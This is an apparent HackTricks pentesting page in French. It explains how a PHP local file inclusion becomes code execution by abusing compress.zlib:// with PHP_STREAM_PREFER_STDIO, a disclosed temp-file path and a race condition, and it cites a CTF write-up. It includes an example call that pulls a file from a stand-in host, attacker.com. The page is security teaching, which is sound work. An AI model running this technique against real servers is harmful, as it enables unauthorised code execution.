hacktricks/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md

5.8 KiB

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

{% hint style="success" %} Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks
{% endhint %}

WhiteIntel

WhiteIntel est un moteur de recherche alimenté par le dark-web qui offre des fonctionnalités gratuites pour vérifier si une entreprise ou ses clients ont été compromis par des malwares voleurs.

Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.

Vous pouvez consulter leur site web et essayer leur moteur gratuitement à :

{% embed url="https://whiteintel.io" %}


compress.zlib:// et PHP_STREAM_PREFER_STDIO

Un fichier ouvert en utilisant le protocole compress.zlib:// avec le drapeau PHP_STREAM_PREFER_STDIO peut continuer à écrire des données qui arrivent à la connexion plus tard dans le même fichier.

Cela signifie qu'un appel tel que :

file_get_contents("compress.zlib://http://attacker.com/file")

Enverra une requête demandant http://attacker.com/file, puis le serveur pourrait répondre à la requête avec une réponse HTTP valide, garder la connexion ouverte et envoyer des données supplémentaires quelque temps plus tard qui seront également écrites dans le fichier.

Vous pouvez voir cette information dans cette partie du code php-src dans main/streams/cast.c :

/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

Condition de course pour RCE

Ce CTF a été résolu en utilisant le truc précédent.

L'attaquant fera en sorte que le serveur victime ouvre une connexion en lisant un fichier depuis le serveur de l'attaquant en utilisant le protocole compress.zlib.

Pendant que cette connexion existe, l'attaquant exfiltrera le chemin vers le fichier temporaire créé (il est divulgué par le serveur).

Tant que la connexion est encore ouverte, l'attaquant exploite un LFI en chargeant le fichier temporaire qu'il contrôle.

Cependant, il y a une vérification dans le serveur web qui empêche le chargement de fichiers contenant <?. Par conséquent, l'attaquant abusent d'une Condition de course. Dans la connexion qui est encore ouverte, l'attaquant enverra la charge utile PHP APRÈS que le serveur web ait vérifié si le fichier contient les caractères interdits mais AVANT qu'il ne charge son contenu.

Pour plus d'informations, consultez la description de la Condition de course et le CTF dans https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer

WhiteIntel

WhiteIntel est un moteur de recherche alimenté par le dark-web qui offre des fonctionnalités gratuites pour vérifier si une entreprise ou ses clients ont été compromis par des malwares voleurs.

Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.

Vous pouvez consulter leur site web et essayer leur moteur gratuitement à :

{% embed url="https://whiteintel.io" %}

{% hint style="success" %} Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks
{% endhint %}